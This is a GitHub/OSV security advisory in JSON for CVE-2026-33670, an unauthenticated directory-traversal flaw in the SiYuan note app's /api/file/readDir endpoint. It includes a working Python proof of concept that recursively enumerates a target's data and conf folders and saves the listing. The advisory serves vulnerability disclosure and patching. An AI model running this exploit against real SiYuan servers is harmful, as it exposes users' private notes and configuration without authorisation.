CVE-2026-33670: Github.com/siyuan note/siyuan/kernel Path Traversal Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xmw9-6r43-x9ww",
  "modified" : "2026-03-27T21:24:23Z",
  "published" : "2026-03-25T19:38:01Z",
  "aliases" : [ "CVE-2026-33670" ],
  "summary" : "SiYuan has directory traversal within its publishing service",
  "details" : "### Details\n\nThe /api/file/readDir interface was used to traverse and retrieve the file names of all documents under a notebook.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"POC: SiYuan /api/file/readDir 未鉴权目录遍历\"\"\"\nimport requests, json, sys\n\ndef poc(target):\n    base = target.rstrip(\"/\")\n    url = f\"{base}/api/file/readDir\"\n\n    def read_dir(path, depth=0, max_depth=4):\n        try:\n            r = requests.post(url, json={\"path\":path},\n                            headers={\"Content-Type\":\"application/json\"}, timeout=10)\n            data = r.json()\n        except Exception as e:\n            return\n        if data.get(\"code\") != 0:\n            return\n\n        entries = data.get(\"data\") or []\n        for entry in entries:\n            name = entry.get(\"name\",\"\")\n            if name.startswith(\".\"):\n                continue\n            icon = \"📁\" if entry.get(\"isDir\") else \"📄\"\n            indent = \"  \" * depth\n            print(f\"  {indent}{icon} {name}\")\n\n            if entry.get(\"isDir\") and depth < max_depth:\n                read_dir(f\"{path}/{name}\", depth+1, max_depth)\n\n    # 遍历根目录\n    print(\"[+] 漏洞存在！开始遍历\\n\")\n    print(\"  📂 data/\")\n    read_dir(\"data\", max_depth=2)\n\n    print(\"\\n  📂 conf/\")\n    read_dir(\"conf\", max_depth=2)\n\n    # 保存\n    try:\n        r = requests.post(url, json={\"path\":\"data\"},\n                        headers={\"Content-Type\":\"application/json\"}, timeout=10)\n        with open(\"readdir.json\",\"w\",encoding=\"utf-8\") as f:\n            json.dump(r.json(), f, ensure_ascii=False, indent=2)\n        print(f\"\\n[+] 根目录数据已保存: readdir.json\")\n    except: pass\n\nif __name__ == \"__main__\":\n    poc(sys.argv[1] if len(sys.argv)>1 else \"http://172.18.40.184\")\n```\n\n### Impact\n\nDirectory traversal vulnerability: The entire directory structure of a notebook could be obtained, and then a file reading vulnerability could be exploited to achieve arbitrary document reading.\n\n资源文件夹\n\n<img width=\"943\" height=\"794\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c97fcc42-183e-4c83-8a27-cf99bf805038\" />\n\n插件文件夹\n\n<img width=\"826\" height=\"921\" alt=\"image\" src=\"https://github.com/user-attachments/assets/925d4512-e4c0-4b3b-bf96-5639ec572705\" />\n\nconf文件夹\n\n<img width=\"730\" height=\"834\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2a0c23b9-2d87-4421-977d-687f47726741\" />",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/siyuan-note/siyuan/kernel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "0.0.0-20260317012524-fe4523fff2c8"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-xmw9-6r43-x9ww"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33670"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/siyuan-note/siyuan"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-25T19:38:01Z",
    "nvd_published_at" : "2026-03-26T22:16:30Z"
  }
}